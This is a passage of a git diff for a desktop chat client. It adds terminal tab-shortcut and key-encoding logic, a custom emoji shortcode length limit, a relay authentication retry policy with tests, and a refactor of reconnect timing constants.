+    matchTabChord(chord({ ctrlKey: true, metaKey: true }), true),
+    null,
+    "Control must veto even alongside Command",
+  );
+
+  // Non-mac mirrors it: Ctrl is primary, Meta is not.
+  assert.equal(matchTabChord(chord({ ctrlKey: true }), false), "new");
+  assert.equal(matchTabChord(chord({ metaKey: true }), false), null);
+
+  // Unmodified and Alt-modified keys stay with the terminal.
+  assert.equal(matchTabChord(chord({}), true), null);
+  assert.equal(
+    matchTabChord(chord({ altKey: true, metaKey: true }), true),
+    null,
+  );
+  // Arrows without Shift are cursor keys, not tab switches.
+  assert.equal(
+    matchTabChord(chord({ code: "ArrowLeft", metaKey: true }), true),
+    null,
+  );
+  // Shift+Cmd+T/W are not chords we claim.
+  assert.equal(
+    matchTabChord(chord({ metaKey: true, shiftKey: true }), true),
+    null,
+  );
+});
+
+test("tab stepping wraps and skips tabs whose select button is disabled", () => {
+  const three = [
+    { active: false, closing: false, id: "a" },
+    { active: true, closing: false, id: "b" },
+    { active: false, closing: false, id: "c" },
+  ];
+  assert.equal(stepSession(three, 1), "c");
+  assert.equal(stepSession(three, -1), "a");
+
+  // Wrap at both ends.
+  const first = [
+    { active: true, closing: false, id: "a" },
+    { active: false, closing: false, id: "b" },
+  ];
+  assert.equal(stepSession(first, -1), "b");
+  assert.equal(stepSession(first, 1), "b");
+
+  // A closing tab is disabled in the tab bar, so the keyboard skips past it.
+  assert.equal(
+    stepSession(
+      [
+        { active: true, closing: false, id: "a" },
+        { active: false, closing: true, id: "b" },
+        { active: false, closing: false, id: "c" },
+      ],
+      1,
+    ),
+    "c",
+  );
+
+  // Nowhere to go: single tab, and all-others-closing.
+  assert.equal(
+    stepSession([{ active: true, closing: false, id: "a" }], 1),
+    null,
+  );
+  assert.equal(
+    stepSession(
+      [
+        { active: true, closing: false, id: "a" },
+        { active: false, closing: true, id: "b" },
+      ],
+      1,
+    ),
+    null,
+  );
+  assert.equal(stepSession([], 1), null);
+});
diff --git a/desktop/src/features/terminal/terminalState.ts b/desktop/src/features/terminal/terminalState.ts
new file mode 100644
index 0000000000..5598b3860a
--- /dev/null
+++ b/desktop/src/features/terminal/terminalState.ts
@@ -0,0 +1,183 @@
+export type TerminalOwner = "buzz" | "terminal";
+
+export type HandoffState = {
+  owner: TerminalOwner;
+  chordArmed: boolean;
+  composing: boolean;
+};
+
+export type HandoffAction =
+  | { type: "composition-start" }
+  | { type: "composition-end" }
+  | { type: "chord-down"; repeat: boolean }
+  | { type: "chord-up" }
+  | { type: "focus-lost" };
+
+export type HandoffResult = {
+  state: HandoffState;
+  toggled: boolean;
+};
+
+export const INITIAL_HANDOFF_STATE: HandoffState = {
+  owner: "buzz",
+  chordArmed: false,
+  composing: false,
+};
+
+/** The shortcut is a transaction completed only by a matching key-up. */
+export function reduceHandoff(
+  state: HandoffState,
+  action: HandoffAction,
+): HandoffResult {
+  if (action.type === "composition-start") {
+    return {
+      state: { ...state, chordArmed: false, composing: true },
+      toggled: false,
+    };
+  }
+  if (action.type === "composition-end") {
+    return { state: { ...state, composing: false }, toggled: false };
+  }
+  if (action.type === "focus-lost") {
+    return { state: { ...state, chordArmed: false }, toggled: false };
+  }
+  if (action.type === "chord-down") {
+    if (state.composing || action.repeat) return { state, toggled: false };
+    return { state: { ...state, chordArmed: true }, toggled: false };
+  }
+  if (!state.chordArmed || state.composing) {
+    return {
+      state: { ...state, chordArmed: false },
+      toggled: false,
+    };
+  }
+  return {
+    state: {
+      ...state,
+      chordArmed: false,
+      owner: state.owner === "buzz" ? "terminal" : "buzz",
+    },
+    toggled: true,
+  };
+}
+
+export function encodeTerminalKey(event: {
+  key: string;
+  ctrlKey: boolean;
+  altKey: boolean;
+  metaKey: boolean;
+}): string | null {
+  if (event.metaKey) return null;
+  const special: Readonly<Record<string, string>> = {
+    Enter: "\r",
+    Backspace: "\u007f",
+    Tab: "\t",
+    Escape: "\u001b",
+    ArrowUp: "\u001b[A",
+    ArrowDown: "\u001b[B",
+    ArrowRight: "\u001b[C",
+    ArrowLeft: "\u001b[D",
+    Home: "\u001b[H",
+    End: "\u001b[F",
+    Delete: "\u001b[3~",
+    PageUp: "\u001b[5~",
+    PageDown: "\u001b[6~",
+  };
+  const specialValue = special[event.key];
+  if (specialValue) return `${event.altKey ? "\u001b" : ""}${specialValue}`;
+  if (event.ctrlKey && event.key.length === 1) {
+    const code = event.key.toUpperCase().charCodeAt(0);
+    if (code >= 64 && code <= 95) return String.fromCharCode(code - 64);
+  }
+  if (event.altKey && event.key.length === 1) return `\u001b${event.key}`;
+  return null;
+}
+
+export type TabChord = "close" | "new" | "next" | "previous";
+
+/**
+ * Tab-management chords, matched on `code` so they survive alternate layouts.
+ * `isMac` is a parameter rather than a `navigator` read so matching stays pure,
+ * the same shape as `matchBackForwardChord`.
+ *
+ * The modifier is the platform's primary one and *only* that one — deliberately
+ * narrower than the sibling `isToggleChord`, which accepts either. On macOS
+ * `^W` is werase and `^T` is transpose; a capture-phase listener that claimed
+ * them would consume the event before the textarea could encode it, so Control
+ * must keep falling through to the PTY. Non-mac platforms pay the mirror cost
+ * on Ctrl (matching gnome-terminal, which moves its own tab chords onto
+ * Ctrl+Shift for exactly this reason) — see the report for why that is scoped
+ * out rather than solved here.
+ *
+ * ⌘W is matched even though macOS currently resolves it as the File > Close
+ * Window key equivalent before the webview sees any key event: the accelerator
+ * has to be released natively for this arm to ever run, and matching it now
+ * means the frontend needs no further change when it is.
+ */
+export function matchTabChord(
+  event: {
+    altKey: boolean;
+    code: string;
+    ctrlKey: boolean;
+    metaKey: boolean;
+    shiftKey: boolean;
+  },
+  isMac: boolean,
+): TabChord | null {
+  if (event.altKey) return null;
+  if (isMac ? !event.metaKey || event.ctrlKey : !event.ctrlKey || event.metaKey)
+    return null;
+  if (event.shiftKey) {
+    if (event.code === "ArrowLeft") return "previous";
+    if (event.code === "ArrowRight") return "next";
+    return null;
+  }
+  if (event.code === "KeyT") return "new";
+  if (event.code === "KeyW") return "close";
+  return null;
+}
+
+/**
+ * The id ⇧⌘←/→ moves to, wrapping at both ends.
+ *
+ * Closing tabs are skipped because the tab bar disables their select button —
+ * the keyboard path must not reach a tab the mouse path cannot.
+ */
+export function stepSession(
+  sessions: readonly { active: boolean; closing: boolean; id: string }[],
+  direction: -1 | 1,
+): string | null {
+  const count = sessions.length;
+  const activeIndex = sessions.findIndex((session) => session.active);
+  if (activeIndex < 0) return null;
+  for (let offset = 1; offset < count; offset += 1) {
+    const index =
+      (((activeIndex + direction * offset) % count) + count) % count;
+    const candidate = sessions[index];
+    if (!candidate.closing) return candidate.id;
+  }
+  return null;
+}
+
+export function encodePaste(text: string, bracketed: boolean): string {
+  return bracketed ? `\u001b[200~${text}\u001b[201~` : text;
+}
+
+export type ScrollAccumulator = { remainderPx: number };
+
+/** Preserve sub-cell trackpad movement instead of truncating every event. */
+export function accumulateScrollLines(
+  state: ScrollAccumulator,
+  deltaPx: number,
+  cellHeight: number,
+): { state: ScrollAccumulator; lines: number } {
+  if (!(cellHeight > 0) || !Number.isFinite(deltaPx)) {
+    return { state, lines: 0 };
+  }
+  const total = state.remainderPx + deltaPx;
+  const lines = Math.trunc(total / cellHeight);
+  return {
+    state: { remainderPx: total - lines * cellHeight },
+    lines,
+  };
+}
diff --git a/desktop/src/main.tsx b/desktop/src/main.tsx
index 890ef72226..d2751dfe16 100644
--- a/desktop/src/main.tsx
+++ b/desktop/src/main.tsx
@@ -3,10 +3,13 @@ import ReactDOM from "react-dom/client";
 import { App } from "@/app/App";
 import { NostrBindConsentDialog } from "@/features/profile/ui/NostrBindConsentDialog";
 import "@fontsource-variable/inter/wght.css";
+import "@fontsource/jetbrains-mono/400.css";
+import "@fontsource/jetbrains-mono/700.css";
 import "@/shared/styles/globals.css";
 import { UpdaterProvider } from "@/features/settings/hooks/UpdaterProvider";
 import { migrateLegacyCommunityStorageBeforeRender } from "@/features/communities/legacyCommunityStorage";
 import { CommunitiesProvider } from "@/features/communities/useCommunities";
+import { huddleWindowChannelId } from "@/features/huddle/lib/huddleWindow";
 import { CommunityOnboardingProvider } from "@/features/onboarding/communityOnboarding";
 import { ThemeProvider } from "@/shared/theme/ThemeProvider";
 import { EmojiBurstProvider } from "@/shared/ui/EmojiBurstProvider";
@@ -74,7 +77,7 @@ function renderApp() {
   ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
     <React.StrictMode>
       <CommunitiesProvider>
-        <CommunityOnboardingProvider>
+        <CommunityOnboardingProvider enabled={huddleWindowChannelId() === null}>
           <ThemeProvider defaultTheme="buzz">
             <TooltipProvider delayDuration={300}>
               <EmojiBurstProvider>
diff --git a/desktop/src/shared/api/customEmoji.test.mjs b/desktop/src/shared/api/customEmoji.test.mjs
index d499386b56..0dcfc5bdfd 100644
--- a/desktop/src/shared/api/customEmoji.test.mjs
+++ b/desktop/src/shared/api/customEmoji.test.mjs
@@ -85,6 +85,11 @@ test("normalizeShortcode rejects invalid chars and empties", () => {
   assert.equal(normalizeShortcode(""), null);
 });
 
+test("normalizeShortcode enforces the 64-character boundary", () => {
+  assert.equal(normalizeShortcode("a".repeat(64)), "a".repeat(64));
+  assert.equal(normalizeShortcode("a".repeat(65)), null);
+});
+
 test("suggestShortcodeFromFilename derives a valid name from common filenames", () => {
   assert.equal(
     suggestShortcodeFromFilename("Party Parrot.gif"),
diff --git a/desktop/src/shared/api/customEmoji.ts b/desktop/src/shared/api/customEmoji.ts
index 6020ec5928..ccd618f26f 100644
--- a/desktop/src/shared/api/customEmoji.ts
+++ b/desktop/src/shared/api/customEmoji.ts
@@ -44,6 +44,7 @@ export function reactionEmojiUrl(
 
 /** NIP-30 shortcode chars. Matches the relay's `[A-Za-z0-9_-]` validation. */
 const SHORTCODE_RE = /^[a-z0-9_-]+$/;
+const MAX_SHORTCODE_LENGTH = 64;
 
 /**
  * Normalize a shortcode the same way the relay does: strip surrounding colons
@@ -52,7 +53,9 @@ const SHORTCODE_RE = /^[a-z0-9_-]+$/;
 export function normalizeShortcode(raw: string): string | null {
   const stripped = raw.trim().replace(/^:+/, "").replace(/:+$/, "");
   const lower = stripped.toLowerCase();
-  return SHORTCODE_RE.test(lower) ? lower : null;
+  return lower.length <= MAX_SHORTCODE_LENGTH && SHORTCODE_RE.test(lower)
+    ? lower
+    : null;
 }
 
 /**
diff --git a/desktop/src/shared/api/readOnlyRelayClient.ts b/desktop/src/shared/api/readOnlyRelayClient.ts
index c7446f4e70..121b00c800 100644
--- a/desktop/src/shared/api/readOnlyRelayClient.ts
+++ b/desktop/src/shared/api/readOnlyRelayClient.ts
@@ -12,7 +12,7 @@ import {
   AUTH_TIMEOUT_MS,
   HISTORY_TIMEOUT_MS,
   PUBLISH_TIMEOUT_MS,
-} from "@/shared/api/relayClientSession";
+} from "@/shared/api/relayClientTimings";
 
 type PendingHistory = {
   events: RelayEvent[];
diff --git a/desktop/src/shared/api/relayAuthPolicy.test.mjs b/desktop/src/shared/api/relayAuthPolicy.test.mjs
new file mode 100644
index 0000000000..e2b709c0e8
--- /dev/null
+++ b/desktop/src/shared/api/relayAuthPolicy.test.mjs
@@ -0,0 +1,93 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  AuthOkTracker,
+  MAX_CONSECUTIVE_AUTH_REJECTIONS,
+} from "./relayAuthPolicy.ts";
+
+test("success resolves authenticated and resets the streak", () => {
+  const tracker = new AuthOkTracker();
+  tracker.record(false, "auth-required: verification failed");
+  tracker.record(false, "auth-required: verification failed");
+  assert.equal(tracker.record(true, ""), "authenticated");
+  // Streak reset: the next rejection starts a fresh count.
+  assert.equal(
+    tracker.record(false, "auth-required: verification failed"),
+    "retry",
+  );
+});
+
+test("already-authenticated rejection is treated as authenticated (duplicate-AUTH race)", () => {
+  const tracker = new AuthOkTracker();
+  assert.equal(
+    tracker.record(false, "auth-required: already authenticated"),
+    "authenticated",
+  );
+});
+
+test("restricted rejections latch terminal immediately", () => {
+  for (const message of [
+    "restricted: not a relay member",
+    "restricted: you are banned",
+  ]) {
+    assert.equal(new AuthOkTracker().record(false, message), "terminal");
+  }
+});
+
+test("the relay's actual ban string latches terminal immediately", () => {
+  // Exact string emitted by crates/buzz-relay/src/handlers/auth.rs at the
+  // ban seam. A known-permanent ban must never enter the retry loop.
+  assert.equal(
+    new AuthOkTracker().record(
+      false,
+      "blocked: you are banned from this community",
+    ),
+    "terminal",
+  );
+});
+
+test("verification failures retry with backoff (clock skew, DB fail-closed)", () => {
+  const tracker = new AuthOkTracker();
+  assert.equal(
+    tracker.record(false, "auth-required: verification failed"),
+    "retry",
+  );
+});
+
+test("unknown rejection reasons retry rather than latch", () => {
+  assert.equal(new AuthOkTracker().record(false, ""), "retry");
+  assert.equal(new AuthOkTracker().record(false, "error: internal"), "retry");
+});
+
+test("consecutive rejections latch terminal at the cap", () => {
+  const tracker = new AuthOkTracker();
+  let decision = "retry";
+  for (let i = 0; i < MAX_CONSECUTIVE_AUTH_REJECTIONS; i++) {
+    decision = tracker.record(false, "auth-required: verification failed");
+  }
+  assert.equal(decision, "terminal");
+});
+
+test("reset grants a fresh retry streak after explicit re-engagement", () => {
+  const tracker = new AuthOkTracker();
+  for (let i = 0; i < MAX_CONSECUTIVE_AUTH_REJECTIONS; i++) {
+    tracker.record(false, "auth-required: verification failed");
+  }
+  tracker.reset();
+  assert.equal(
+    tracker.record(false, "auth-required: verification failed"),
+    "retry",
+  );
+});
+
+test("already-authenticated wins even past the cap (session is usable)", () => {
+  const tracker = new AuthOkTracker();
+  for (let i = 0; i < MAX_CONSECUTIVE_AUTH_REJECTIONS + 1; i++) {
+    tracker.record(false, "auth-required: verification failed");
+  }
+  assert.equal(
+    tracker.record(false, "auth-required: already authenticated"),
+    "authenticated",
+  );
+});
diff --git a/desktop/src/shared/api/relayAuthPolicy.ts b/desktop/src/shared/api/relayAuthPolicy.ts
new file mode 100644
index 0000000000..2d76e0c3f7
--- /dev/null
+++ b/desktop/src/shared/api/relayAuthPolicy.ts
@@ -0,0 +1,65 @@
+/**
+ * Policy for NIP-42 AUTH `OK` responses (G2 of the CMD+R gap audit).
+ *
+ * Historically ANY auth `OK false` latched the session terminal — no
+ * reconnect until explicit user re-engagement. But the relay sends
+ * `OK false` for conditions that are transient from the client's side:
+ *
+ *  - `auth-required: already authenticated` — a duplicate/late AUTH event on
+ *    a connection that is in fact authenticated. The session is usable;
+ *    treat it as authenticated.
+ *  - `auth-required: verification failed` — covers ±60s clock-skew rejects
+ *    and the relay's fail-closed allowlist DB lookup errors, both of which
+ *    can clear on retry.
+ *
+ * Only `restricted:` and `blocked:` rejections (not a relay member / banned)
+ * are known permanent. Everything else retries with normal backoff, but
+ * latches terminal after `MAX_CONSECUTIVE_AUTH_REJECTIONS` consecutive
+ * rejections so a genuinely broken identity (e.g. persistently wrong system
+ * clock) still surfaces the terminal error card instead of flapping forever.
+ *
+ * The rejection streak is preserved across environment-driven resume
+ * attempts (focus/online/visibility); only explicit user re-engagement —
+ * the reconnect card or a community switch — may reset it.
+ */
+export type AuthOkDecision = "authenticated" | "retry" | "terminal";
+
+export const MAX_CONSECUTIVE_AUTH_REJECTIONS = 3;
+
+/** Tracks consecutive AUTH rejections across reconnect attempts. */
+export class AuthOkTracker {
+  private consecutiveRejections = 0;
+
+  /**
+   * Record an AUTH `OK` and decide the session's next move.
+   * A success — real or "already authenticated" — resets the streak.
+   */
+  record(success: boolean, message: string): AuthOkDecision {
+    const normalized = message.trim().toLowerCase();
+    if (
+      success ||
+      normalized.startsWith("auth-required: already authenticated")
+    ) {
+      this.consecutiveRejections = 0;
+      return "authenticated";
+    }
+
+    this.consecutiveRejections++;
+
+    if (
+      normalized.startsWith("restricted:") ||
+      normalized.startsWith("blocked:")
+    ) {
+      return "terminal";
+    }
+    if (this.consecutiveRejections >= MAX_CONSECUTIVE_AUTH_REJECTIONS) {
+      return "terminal";
+    }
+    return "retry";
+  }
+
+  /** Called on explicit re-engagement (disconnect / manual preconnect). */
+  reset(): void {
+    this.consecutiveRejections = 0;
+  }
+}
diff --git a/desktop/src/shared/api/relayChannelFilters.test.mjs b/desktop/src/shared/api/relayChannelFilters.test.mjs
index 3519c82146..36ffaad502 100644
--- a/desktop/src/shared/api/relayChannelFilters.test.mjs
+++ b/desktop/src/shared/api/relayChannelFilters.test.mjs
@@ -6,6 +6,7 @@ import {
   buildChannelAuxFilter,
   buildChannelReactionAuxFilter,
   buildChannelStructuralAuxFilter,
+  buildHuddleTtsLiveFilter,
 } from "./relayChannelFilters.ts";
 
 const CHANNEL = "36411e44-0e2d-4cfe-bd6e-567eb169db9f";
@@ -14,6 +15,15 @@ const IDS = [
   "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
 ];
 
+test("huddle TTS filter includes a bounded startup replay for both message kinds", () => {
+  assert.deepEqual(buildHuddleTtsLiveFilter(CHANNEL, 1_725_100_000), {
+    kinds: [9, 40002],
+    "#h": [CHANNEL],
+    since: 1_725_100_000,
+    limit: 50,
+  });
+});
+
 // Regression: reaction (kind:7) and reaction-removal (kind:5) events carry only
 // an `e` tag, no channel `h` tag. An `#h`-scoped aux query never matches them,
 // so removed historical reactions reappear. The aux filters must key on `#e`
diff --git a/desktop/src/shared/api/relayChannelFilters.ts b/desktop/src/shared/api/relayChannelFilters.ts
index d0c7e7938e..b9f623a75f 100644
--- a/desktop/src/shared/api/relayChannelFilters.ts
+++ b/desktop/src/shared/api/relayChannelFilters.ts
@@ -6,6 +6,8 @@ import {
   KIND_DELETION,
   KIND_NIP29_DELETE_EVENT,
   KIND_REACTION,
+  KIND_STREAM_MESSAGE,
+  KIND_STREAM_MESSAGE_V2,
   KIND_STREAM_MESSAGE_EDIT,
 } from "@/shared/constants/kinds";
 import type { RelaySubscriptionFilter } from "@/shared/api/relayClientShared";
@@ -40,6 +42,26 @@ export function buildChannelFilter(
   return filter;
 }
 
+/**
+ * Huddle TTS message filter with a bounded startup replay window.
+ *
+ * The Huddle window and agent membership snapshot can finish mounting just
+ * after the first agent reply is stored. Replaying only the caller-provided
+ * startup window closes that race; event-id dedup in the consumer prevents a
+ * stored row from being spoken twice when it is also delivered live.
+ */
+export function buildHuddleTtsLiveFilter(
+  channelId: string,
+  since: number,
+): RelaySubscriptionFilter {
+  return {
+    kinds: [KIND_STREAM_MESSAGE, KIND_STREAM_MESSAGE_V2],
+    "#h": [channelId],
+    since,
+    limit: 50,
+  };
+}
+
 /**
  * History filter for cold-load and scrollback: message kinds *only*, so the
  * `limit` budget buys visible message depth. Auxiliary events (reactions,
diff --git a/desktop/src/shared/api/relayClientSession.ts b/desktop/src/shared/api/relayClientSession.ts
index 94438386eb..fd6758f791 100644
--- a/desktop/src/shared/api/relayClientSession.ts
+++ b/desktop/src/shared/api/relayClientSession.ts
@@ -47,26 +47,27 @@ import { RelayConnectionStateEmitter } from "@/shared/api/relayConnectionStateEm
 import {
   isServiceRestartClose,
   isWebSocketClose,
+  isWebSocketError,
   shouldRefuseConnect,
   shouldScheduleReconnect,
   shouldWaitForScheduledReconnect,
 } from "@/shared/api/relayReconnectPolicy";
 import { RelayReconnectWaiters } from "@/shared/api/relayReconnectWaiters";
 import { RelayStallWatchdog } from "@/shared/api/relayStallWatchdog";
+import {
+  AUTH_TIMEOUT_MS,
+  BACKOFF_RESET_STABLE_MS,
+  EVENT_BATCH_MS,
+  HISTORY_TIMEOUT_MS,
+  PUBLISH_TIMEOUT_MS,
+  RECONNECT_BASE_DELAY_MS,
+  RECONNECT_MAX_DELAY_MS,
+  STALL_CHECK_INTERVAL_MS,
+  STALL_IDLE_TIMEOUT_MS,
+} from "@/shared/api/relayClientTimings";
 import { closeWebSocket } from "@/shared/api/relayWebSocketClose";
+import { AuthOkTracker } from "@/shared/api/relayAuthPolicy";
 import { buildThreadReferenceTags } from "@/features/messages/lib/threading";
-const RECONNECT_BASE_DELAY_MS = 1_000,
-  RECONNECT_MAX_DELAY_MS = 30_000,
-  EVENT_BATCH_MS = 16;
-
-export const AUTH_TIMEOUT_MS = 25_000;
-export const HISTORY_TIMEOUT_MS = 25_000;
-export const PUBLISH_TIMEOUT_MS = 25_000;
-
-export const BACKOFF_RESET_STABLE_MS = 60_000;
-
-const STALL_CHECK_INTERVAL_MS = 10_000;
-const STALL_IDLE_TIMEOUT_MS = 60_000;
 
 export class RelayClient {
   private wsId: number | null = null;
@@ -93,6 +94,7 @@ export class RelayClient {
   private connectionGeneration = 0;
   private stabilityTimer: number | null = null;
   private visibleChannelId: string | null = null;
+  private authOkTracker = new AuthOkTracker();
 
   private terminal = false;
 
@@ -129,6 +131,7 @@ export class RelayClient {
     this.notifyReconnectListeners = false;
     this.terminal = false;
     this.visibleChannelId = null;
+    this.authOkTracker.reset();
     this.connectionStateEmitter.set("idle");
 
     if (this.wsId !== null) {
@@ -296,7 +299,7 @@ export class RelayClient {
     parentEventId?: string | null,
     rootEventId?: string | null,
   ) {
-    // Bail when disconnected — not worth triggering a reconnect for ephemeral typing events.
+    // Disconnected: not worth triggering a reconnect for ephemeral typing.
     if (this.wsId === null) {
       return;
     }
@@ -326,11 +329,11 @@ export class RelayClient {
     channelId: string,
     onEvent: (event: RelayEvent) => void,
   ) {
+    // 39005 rides only this window-store subscription — CHANNEL_EVENT_KINDS'
+    // other consumers (unread tracking, cache merges) must never see
+    // summary overlays.
     return this.subscribe(
       {
-        // 39005 rides only this window-store subscription — not
-        // CHANNEL_EVENT_KINDS, whose other consumers (unread tracking,
-        // timeline-cache merges) must never see summary overlays.
         kinds: [...CHANNEL_EVENT_KINDS, KIND_CHANNEL_THREAD_SUMMARY],
         "#h": [channelId],
         limit: 1000,
@@ -341,10 +344,9 @@ export class RelayClient {
   }
 
   /**
-   * Subscribe to huddle lifecycle events (kinds 48100–48103) for a channel.
-   * Used by HuddleIndicator to detect active huddles without being drowned
-   * out by regular channel messages in the generic subscription window.
-   * Includes both historical (last 10) and live events.
+   * Subscribe to huddle lifecycle events (kinds 48100–48103) for a channel,
+   * so HuddleIndicator detects active huddles without being drowned out by
+   * regular channel messages. Includes the last 10 historical events.
    */
   async subscribeToHuddleEvents(
     channelId: string,
@@ -426,12 +428,26 @@ export class RelayClient {
   }
 
   async preconnect() {
-    // Explicit re-engagement. If the session went terminal (auth rejection)
-    // the caller is asking us to try again, so clear the latch. A manual
-    // reconnect also bypasses the current delay once; ordinary operations do
-    // not, so background traffic cannot continuously defeat backoff.
+    // Explicit re-engagement (reconnect card / community switch): clears the
+    // terminal latch and AUTH rejection streak, and bypasses backoff once.
     this.terminal = false;
+    this.authOkTracker.reset();
     this.keepAliveRequested = true;
+    await this.connectBypassingBackoff();
+  }
+
+  /**
+   * Environment-driven resume (online/focus/visibility): bypasses a pending
+   * backoff timer but preserves the terminal latch and AUTH rejection streak
+   * — only `preconnect()` clears those, so resume events during repeated
+   * AUTH rejection cannot defeat the consecutive-rejection cap.
+   */
+  async resumeReconnect() {
+    if (this.terminal) return;
+    await this.connectBypassingBackoff();
+  }
+
+  private async connectBypassingBackoff() {
     if (this.reconnectTimeout !== null) {
       window.clearTimeout(this.reconnectTimeout);
       this.reconnectTimeout = null;
@@ -449,7 +465,6 @@ export class RelayClient {
 
   subscribeToReconnects(listener: () => void) {
     this.reconnectListeners.add(listener);
-
     return () => {
       this.reconnectListeners.delete(listener);
     };
@@ -461,8 +476,8 @@ export class RelayClient {
   }
 
   /**
-   * Subscribe to connection-state transitions. The listener is invoked
-   * immediately with the current state so callers don't need a separate
+   * Subscribe to connection-state transitions. The listener fires
+   * immediately with the current state, so callers need no separate
    * `getConnectionState()` call to seed their UI.
    */
   subscribeToConnectionState(listener: (state: ConnectionState) => void) {
@@ -471,11 +486,10 @@ export class RelayClient {
 
   private async ensureConnected() {
     if (shouldRefuseConnect({ terminal: this.terminal })) {
-      // Session is terminal (e.g. relay rejected auth). Refuse to connect
-      // until an explicit re-engagement (disconnect()/preconnect()) clears
-      // the flag. Without this, the reconnect timer's catch handler — and
-      // the retry wrappers in publishEvent / sendRawWithReconnectRetry —
-      // would race the terminal "disconnected" state back to "reconnecting".
+      // Terminal (e.g. relay rejected auth): refuse until disconnect() or
+      // preconnect() clears the latch, else the reconnect-timer catch and
+      // the publish/subscribe retry wrappers would race the terminal
+      // "disconnected" state back to "reconnecting".
       throw new Error("Relay session is terminal; cannot reconnect.");
     }
 
@@ -495,7 +509,7 @@ export class RelayClient {
       // The reconnect coordinator owns outage pacing. Query, publish, and
       // subscription callers must wait for its scheduled attempt instead of
       // clearing the timer and creating an immediate reconnect storm.
-      return this.waitForScheduledReconnect();
+      return this.reconnectWaiters.wait();
     }
 
     const connectPromise = this.connect();
@@ -671,7 +685,6 @@ export class RelayClient {
         error,
         fallbackMessage,
       );
-
       try {
         await this.ensureConnected();
         await this.sendRaw(payload);
@@ -750,12 +763,7 @@ export class RelayClient {
       this.resetConnection(new Error("Relay connection closed."));
       return;
     }
-    if (
-      typeof message === "object" &&
-      message !== null &&
-      "type" in message &&
-      message.type === "Error"
-    ) {
+    if (isWebSocketError(message)) {
       this.resetConnection(new Error("Relay connection errored."));
       return;
     }
@@ -820,8 +828,7 @@ export class RelayClient {
 
     if (type === "NOTICE" && typeof rest[0] === "string") {
       const notice: string = rest[0];
-      // Relay back-pressure signal — activate the gate so pending operations
-      // back off until the window expires.
+      // Relay back-pressure — arm the gate until the window expires.
       if (notice.startsWith("rate-limited:")) {
         activateRateLimit(parseRateLimitHint(notice));
       }
@@ -893,12 +900,14 @@ export class RelayClient {
       const authRequest = this.authRequest;
       this.authRequest = null;
 
-      if (success) {
+      // Decision table lives in relayAuthPolicy.ts.
+      const decision = this.authOkTracker.record(success, message);
+      if (decision === "authenticated") {
         authRequest.resolve();
       } else {
         const error = new Error(message || "Relay authentication rejected.");
         authRequest.reject(error);
-        this.resetConnection(error, { reconnect: false });
+        this.resetConnection(error, { reconnect: decision === "retry" });
       }
 
       return;
@@ -920,13 +929,7 @@ export class RelayClient {
   }
 
   private hasLiveSubscriptions() {
-    for (const subscription of this.subscriptions.values()) {
-      if (subscription.mode === "live") {
-        return true;
-      }
-    }
-
-    return false;
+    return [...this.subscriptions.values()].some((s) => s.mode === "live");
   }
 
   private async replayLiveSubscriptions() {
@@ -949,13 +952,6 @@ export class RelayClient {
     }
   }
 
-  private waitForScheduledReconnect(): Promise<void> {
-    if (this.reconnectTimeout === null) {
-      return this.ensureConnected();
-    }
-    return this.reconnectWaiters.wait();
-  }
-
   private scheduleReconnect() {
     if (
       !shouldScheduleReconnect({
@@ -969,9 +965,8 @@ export class RelayClient {
       return;
     }
 
-    // Apply ±25% jitter so a fleet of clients reconnecting simultaneously
-    // spreads their AUTH storms across a 50% window instead of all hitting
-    // the relay at the same instant.
+    // ±25% jitter spreads a fleet's AUTH storms across a 50% window instead
+    // of hitting the relay at the same instant.
     const jitter = this.reconnectDelayMs * (0.75 + Math.random() * 0.5);
     const delay = Math.min(jitter, RECONNECT_MAX_DELAY_MS);
     this.reconnectDelayMs = Math.min(
@@ -1032,9 +1027,13 @@ export class RelayClient {
     if (options?.reconnect === false) {
       this.terminal = true;
       this.connectionStateEmitter.set("disconnected");
-    } else if (this.connectionStateEmitter.get() !== "stalled") {
-      // Stall is a stronger signal than a generic drop; keep it until the
-      // reconnect timer transitions us back to "reconnecting" in connect().
+    } else if (
+      // A late retry failure racing a terminal latch must not paint
+      // "reconnecting" over the terminal "disconnected" state; stall is a
+      // stronger signal than a generic drop and is kept until reconnect.
+      !this.terminal &&
+      this.connectionStateEmitter.get() !== "stalled"
+    ) {
       this.connectionStateEmitter.set("reconnecting");
     }
 
diff --git a/desktop/src/shared/api/relayClientTimings.ts b/desktop/src/shared/api/relayClientTimings.ts
new file mode 100644
index 0000000000..dbe85a835c
--- /dev/null
+++ b/desktop/src/shared/api/relayClientTimings.ts
@@ -0,0 +1,20 @@
+export const RECONNECT_BASE_DELAY_MS = 1_000;
+export const RECONNECT_MAX_DELAY_MS = 30_000;
+export const EVENT_BATCH_MS = 16;
+
+/**
+ * Op-level timeouts tolerate degraded networks where TLS handshakes and DNS
+ * resolution can take several seconds.
+ */
+export const AUTH_TIMEOUT_MS = 25_000;
+export const HISTORY_TIMEOUT_MS = 25_000;
+export const PUBLISH_TIMEOUT_MS = 25_000;
+
+/**
+ * A stability-gated reset prevents reconnect flapping from erasing backoff.
+ */
+export const BACKOFF_RESET_STABLE_MS = 60_000;
+
+/** Passive liveness thresholds for the relay heartbeat stream. */
+export const STALL_CHECK_INTERVAL_MS = 10_000;
+export const STALL_IDLE_TIMEOUT_MS = 60_000;
diff --git a/desktop/src/shared/api/relayClosedPolicy.test.mjs b/desktop/src/shared/api/relayClosedPolicy.test.mjs
index 715df77f6a..2e5cad4b7c 100644
--- a/desktop/src/shared/api/relayClosedPolicy.test.mjs
+++ b/desktop/src/shared/api/relayClosedPolicy.test.mjs
@@ -19,7 +19,6 @@ test("classifyRelayClosed: terminal messages return terminal", () => {
   for (const message of [
     "restricted: not a channel member",
     "restricted: channel access revoked",
-    "auth-required: not authenticated",
     "blocked: banned",
     "invalid: malformed filter",
     "pow: difficulty too low",
@@ -38,6 +37,21 @@ test("classifyRelayClosed: transient errors return retryable", () => {
   }
 });
 
+test("classifyRelayClosed: auth-required is retryable (REQ/AUTH reconnect race)", () => {
+  // A REQ that lands before the AUTH handshake completes gets CLOSED with
+  // auth-required. Deleting the subscription would silently freeze the
+  // channel while the connection state still reads "connected" — the sub
+  // must survive and be retried after backoff.
+  assert.equal(
+    classifyRelayClosed("auth-required: not authenticated"),
+    "retryable",
+  );
+  assert.equal(
+    classifyRelayClosed("auth-required: authenticate before subscribing"),
+    "retryable",
+  );
+});
+
